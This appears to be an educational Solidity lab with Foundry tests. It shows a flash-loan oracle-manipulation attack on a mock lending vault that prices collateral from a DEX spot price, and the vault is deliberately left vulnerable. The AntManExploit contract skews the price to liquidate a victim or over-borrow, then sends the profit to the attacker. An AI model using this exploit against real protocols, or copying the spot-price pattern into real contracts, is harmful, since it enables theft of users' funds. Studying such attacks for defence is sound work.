13 collapsed lines
1
contract PymDEX {
2
    MockERC20 public tokenA;
3
    MockERC20 public tokenB;
4
    uint256 public reserveA;
5
    uint256 public reserveB;
6

7
    constructor(address _a, address _b, uint256 a, uint256 b) {
8
        tokenA = MockERC20(_a);
9
        tokenB = MockERC20(_b);
10
        reserveA = a;
11
        reserveB = b;
12
    }
13

14
    function getPymPrice(address, address) external view returns (uint256) {
15
        if (reserveA == 0) return 0;
16
        return (reserveB * 1e18) / reserveA;
17
    }
18

25 collapsed lines
19
    function swapExactAForB(uint256 amountAIn, address to) external {
20
        require(tokenA.transferFrom(msg.sender, address(this), amountAIn), "transferFrom A");
21
        // AMM output calculation (educational only)
22
        uint256 amountBOut = (reserveB * amountAIn) / (reserveA + amountAIn);
23
        reserveA += amountAIn;
24
        require(reserveB >= amountBOut, "insufficient reserveB");
25
        reserveB -= amountBOut;
26
        require(tokenB.transfer(to, amountBOut), "transfer B");
27
    }
28

29
    function swapExactBForA(uint256 amountBIn, address to) external {
30
        require(tokenB.transferFrom(msg.sender, address(this), amountBIn), "transferFrom B");
31
        // AMM output calculation (educational only)
32
        uint256 amountAOut = (reserveA * amountBIn) / (reserveB + amountBIn);
33
        reserveB += amountBIn;
34
        require(reserveA >= amountAOut, "insufficient reserveA");
35
        reserveA -= amountAOut;
36
        require(tokenA.transfer(to, amountAOut), "transfer A");
37
    }
38

39
    function fund(uint256 a, uint256 b) external {
40
        reserveA += a;
41
        reserveB += b;
42
    }
43
}

24 collapsed lines
1
interface IPymPrice {
2
    function getPymPrice(address tokenA, address tokenB) external view returns (uint256);
3
}
4

5
contract StarkVault {
6
    MockERC20 public collateral; // tokenA
7
    MockERC20 public borrowToken; // tokenB
8
    IPymPrice public pym;
9
    mapping(address => uint256) public collateralBalance;
10
    mapping(address => uint256) public debt;
11
    uint256 public constant LTV_PERCENT = 50;
12

13
    constructor(address _collateral, address _borrow, address _pym) {
14
        collateral = MockERC20(_collateral);
15
        borrowToken = MockERC20(_borrow);
16
        pym = IPymPrice(_pym);
17
    }
18

19
    function depositCollateral(uint256 amount) external {
20
        require(amount > 0, "zero");
21
        require(collateral.transferFrom(msg.sender, address(this), amount), "transferFrom");
22
        collateralBalance[msg.sender] += amount;
23
    }
24

25
    /// @notice Borrow TokenB against collateral, using spot price (vulnerable)
26
    /// @dev Uses PymDEX spot price, which can be manipulated in a flash loan
27
    function borrow(uint256 amount) external {
28
        require(amount > 0, "zero");
29
        uint256 price = pym.getPymPrice(address(collateral), address(borrowToken)); // spot price (vulnerable)
30
        uint256 collateralValue = (collateralBalance[msg.sender] * price) / 1e18;
31
        require(collateralValue * LTV_PERCENT / 100 >= debt[msg.sender] + amount, "undercollateralized");
32
        debt[msg.sender] += amount;
33
        require(borrowToken.transfer(msg.sender, amount), "transfer borrow");
34
    }
10 collapsed lines
35

36
    function liquidate(address user) external {
37
        uint256 price = pym.getPymPrice(address(collateral), address(borrowToken));
38
        uint256 collateralValue = (collateralBalance[user] * price) / 1e18;
39
        require(collateralValue * LTV_PERCENT / 100 < debt[user], "not liquidatable");
40
        uint256 seized = collateralBalance[user];
41
        collateralBalance[user] = 0;
42
        require(collateral.transfer(msg.sender, seized), "transfer seized");
43
    }
44
}

13 collapsed lines
1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.24;
3

4
import "./MockERC20.sol";
5

6
/// @notice Flash loan provider for one-block liquidity (used for exploit demonstration)
7
contract QuantumRealmBank {
8
    MockERC20 public token;
9

10
    constructor(address _token) {
11
        token = MockERC20(_token);
12
    }
13

14
    /// @notice Execute a flash loan (must be repaid in same tx)
15
    /// @dev Used to simulate one-transaction attacks in tests
16
    function flashLoan(uint256 amount, address borrower, bytes calldata data) external {
17
        uint256 balanceBefore = token.balanceOf(address(this));
18
        require(balanceBefore >= amount, "not enough liquidity");
19

20
        // Send loan to borrower
21
        require(token.transfer(borrower, amount), "transfer failed");
22

23
        // Call borrower contract (attack logic runs here)
24
        (bool success,) = borrower.call(data);
25
        require(success, "borrower call failed");
26

27
        // Require loan repayment
28
        uint256 balanceAfter = token.balanceOf(address(this));
29
        require(balanceAfter >= balanceBefore, "loan not repaid");
30
    }
31
}

23 collapsed lines
1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.24;
3

4
import {PymDEX} from "./PymDEX.sol";
5
import {StarkVault} from "./StarkVault.sol";
6
import {MockERC20} from "./MockERC20.sol";
7

8
/// @notice Demonstrates flash-loan + naive oracle manipulation attacks.
9
contract AntManExploit {
10
    PymDEX public pym;
11
    StarkVault public vault;
12
    MockERC20 public tokenA;
13
    MockERC20 public tokenB;
14
    address payable public owner;
15

16
    constructor(address _pym, address _vault, address _tokenA, address _tokenB, address payable _owner) {
17
        pym = PymDEX(_pym);
18
        vault = StarkVault(_vault);
19
        tokenA = MockERC20(_tokenA);
20
        tokenB = MockERC20(_tokenB);
21
        owner = _owner;
22
    }
23

24
    /// @notice Execute flash-loan exploit for a given scenario
25
    /// @param loanAmount Amount of token to borrow in flash-loan
26
    /// @param wasp Victim address
27
    /// @param scenario 0 = liquidation, 1 = over-borrow fail, 2 = over-borrow success
28
    function execute(uint256 loanAmount, address wasp, uint8 scenario) external {
29
        if (scenario == 0) _scenarioLiquidation(loanAmount, wasp);
30
        else if (scenario == 1) _scenarioOverBorrowFail(loanAmount, wasp);
31
        else if (scenario == 2) _scenarioOverBorrowSuccess(loanAmount, wasp);
32
        else revert("invalid scenario");
33
    }
34

35
    /// @dev Scenario 0: Successful liquidation using flash-loan
36
    function _scenarioLiquidation(uint256 loanAmount, address wasp) internal {
37
        tokenA.approve(address(pym), loanAmount);
38
        pym.swapExactAForB(loanAmount, address(this));
39
        vault.liquidate(wasp);
40
        _finalize(tokenA, loanAmount);
41
    }
42

43
    /// @dev Scenario 1: Over-borrow fails due to AMM slippage
44
    function _scenarioOverBorrowFail(
45
        uint256 loanAmount,
46
        address /*wasp*/
47
    )
48
        internal
49
    {
50
        // Swap TokenA → TokenB; slippage reduces collateral value, over-borrow fails to repay loan
51
        tokenA.approve(address(pym), loanAmount);
52
        pym.swapExactAForB(loanAmount, address(this));
53
        _tryOverBorrow();
54
        _finalize(tokenA, loanAmount);
55
    }
56

57
    /// @dev Scenario 2: Over-borrow succeeds by using TokenB flash-loan
58
    function _scenarioOverBorrowSuccess(
59
        uint256 loanAmount,
60
        address /*wasp*/
61
    )
62
        internal
63
    {
64
        // Borrow TokenB instead of TokenA → avoids slippage trap, over-borrow succeeds
65
        tokenB.approve(address(pym), loanAmount);
66
        pym.swapExactBForA(loanAmount, address(this));
67
        _tryOverBorrow();
68
        _finalize(tokenB, loanAmount);
69
    }
70

71
    /// @dev Attempt over-borrow from vault using current collateral
72
    function _tryOverBorrow() internal {
73
        uint256 tokenAAfter = tokenA.balanceOf(address(this));
74
        if (tokenAAfter > 0) {
75
            tokenA.approve(address(vault), tokenAAfter);
76
            vault.depositCollateral(tokenAAfter);
77
            uint256 price = pym.getPymPrice(address(tokenA), address(tokenB));
78
            uint256 maxBorrow = (((tokenAAfter * price) / 1e18) * 50) / 100; // LTV 50%
79
            vault.borrow(maxBorrow);
80
        }
81
    }
82

83
    /// @dev Swap back tokens if needed and repay flash-loan
84
    function _finalize(MockERC20 loanToken, uint256 loanAmount) internal {
85
        if (address(loanToken) == address(tokenA)) {
86
            _swapBackAndRepay(tokenB, tokenA, loanAmount);
87
        } else if (address(loanToken) == address(tokenB)) {
88
            _swapBackAndRepay(tokenA, tokenB, loanAmount);
89
        }
90

91
        // Send remaining TokenB as profit to attacker
92
        uint256 profitB = tokenB.balanceOf(address(this));
93
        if (profitB > 0) {
94
            tokenB.transfer(owner, profitB);
95
        }
96
    }
97

98
    /// @dev Swaps enough tokens back to repay the flash-loan.
99
    /// @notice This function uses a binary search to find the minimum
100
    /// input amount needed to swap and generate enough output tokens
101
    /// to cover the flash-loan repayment. This optimizes the attacker's profit
102
    /// by minimizing slippage on the return swap.
103
    function _swapBackAndRepay(MockERC20 swapFrom, MockERC20 repayToken, uint256 loanAmount) internal {
104
        uint256 repayAmount = loanAmount;
105
        uint256 repayBalance = repayToken.balanceOf(address(this));
106

107
        if (repayBalance < repayAmount) {
108
            uint256 needed = repayAmount - repayBalance;
109
            uint256 swapBalance = swapFrom.balanceOf(address(this));
110

111
            uint256 left = 1;
112
            uint256 right = swapBalance;
113
            uint256 minSwap = right;
114
            bool enough = false;
115

116
            while (left <= right) {
117
                uint256 mid = (left + right) / 2;
118
                uint256 out;
119
                if (address(repayToken) == address(tokenA)) {
120
                    out = (pym.reserveA() * mid) / (pym.reserveB() + mid);
121
                } else {
122
                    out = (pym.reserveB() * mid) / (pym.reserveA() + mid);
123
                }
124

125
                if (out >= needed) {
126
                    minSwap = mid;
127
                    right = mid - 1;
128
                    enough = true;
129
                } else {
130
                    left = mid + 1;
131
                }
132
            }
133

134
            if (enough) {
135
                swapFrom.approve(address(pym), minSwap);
136
                if (address(repayToken) == address(tokenA)) pym.swapExactBForA(minSwap, address(this));
137
                else pym.swapExactAForB(minSwap, address(this));
138
            } else if (swapBalance > 0) {
139
                swapFrom.approve(address(pym), swapBalance);
140
                if (address(repayToken) == address(tokenA)) pym.swapExactBForA(swapBalance, address(this));
141
                else pym.swapExactAForB(swapBalance, address(this));
142
            }
143
        }
144

145
        // Transfer repayment
146
        uint256 repayFinal =
147
            repayToken.balanceOf(address(this)) < repayAmount ? repayToken.balanceOf(address(this)) : repayAmount;
148
        if (repayFinal > 0) {
149
            repayToken.transfer(msg.sender, repayFinal);
150
        }
151
    }
152
}

41 collapsed lines
1
contract PymFlashLoan is Test {
2
    MockERC20 tokenA;
3
    MockERC20 tokenB;
4
    PymDEX pym;
5
    StarkVault vault;
6
    AntManExploit exploit;
7
    QuantumRealmBank qrbA;
8

9
    address wasp = makeAddr("Wasp");
10
    address attacker = makeAddr("Attacker");
11

12
    function setUp() public {
13
        // Deploy tokens
14
        tokenA = new MockERC20("TokenA", "A");
15
        tokenB = new MockERC20("TokenB", "B");
16

17
        // Deploy DEX
18
        pym = new PymDEX(address(tokenA), address(tokenB), 1_000_000 ether, 1_000_000 ether);
19
        tokenA.mint(address(pym), 1_000_000 ether);
20
        tokenB.mint(address(pym), 1_000_000 ether);
21

22
        // Deploy Vault
23
        vault = new StarkVault(address(tokenA), address(tokenB), address(pym));
24
        tokenB.mint(address(vault), 100_000 ether);
25

26
        // Deploy flash loan bank for TokenA
27
        qrbA = new QuantumRealmBank(address(tokenA));
28
        tokenA.mint(address(qrbA), 1_000_000 ether);
29

30
        // Setup victim
31
        tokenA.mint(wasp, 10_000 ether);
32
        vm.startPrank(wasp);
33
        tokenA.approve(address(vault), 10_000 ether);
34
        vault.depositCollateral(10_000 ether);
35
        vault.borrow(5_000 ether); // initial debt
36
        vm.stopPrank();
37

38
        // Deploy exploit contract
39
        exploit = new AntManExploit(address(pym), address(vault), address(tokenA), address(tokenB), payable(attacker));
40
    }
41

42
    // Scenario A: Liquidation succeeds
43
    function testScenarioA_LiquidationSuccess() public {
44
        bytes memory data = abi.encodeWithSelector(AntManExploit.execute.selector, 500_000 ether, wasp, 0);
45
        vm.prank(attacker);
46
        qrbA.flashLoan(500_000 ether, address(exploit), data);
47

48
        // Wasp collateral should be seized
49
        assertEq(vault.collateralBalance(wasp), 0);
50
    }
51

52
    // Scenario A: Over-borrow fails due to AMM slippage
53
    function testScenarioA_OverBorrowFails() public {
54
        bytes memory data = abi.encodeWithSelector(AntManExploit.execute.selector, 500_000 ether, wasp, 1);
55
        vm.expectRevert("loan not repaid");
56
        vm.prank(attacker);
57
        qrbA.flashLoan(500_000 ether, address(exploit), data);
58
    }
59

60
    // Scenario B: Over-borrow succeeds using TokenB flash loan
61
    function testScenarioB_OverBorrowSucceeds() public {
62
        // Deploy flash loan bank for TokenB
63
        QuantumRealmBank qrbB = new QuantumRealmBank(address(tokenB));
64
        tokenB.mint(address(qrbB), 1_000_000 ether);
65

66
        // Mint enough TokenB to the Vault to allow over-borrow
67
        tokenB.mint(address(vault), 1_000_000 ether);
68

69
        // Give exploit contract extra TokenA to repay swap-back
70
        tokenA.mint(address(exploit), 500_000 ether);
71

72
        bytes memory data = abi.encodeWithSelector(AntManExploit.execute.selector, 500_000 ether, wasp, 2);
73

74
        vm.prank(attacker);
75
        qrbB.flashLoan(500_000 ether, address(exploit), data);
76

77
        // Attacker should have profit in TokenB
78
        assertGt(tokenB.balanceOf(attacker), 0);
79
        console.log("Attacker TokenB profit:", tokenB.balanceOf(attacker));
80
    }
81
}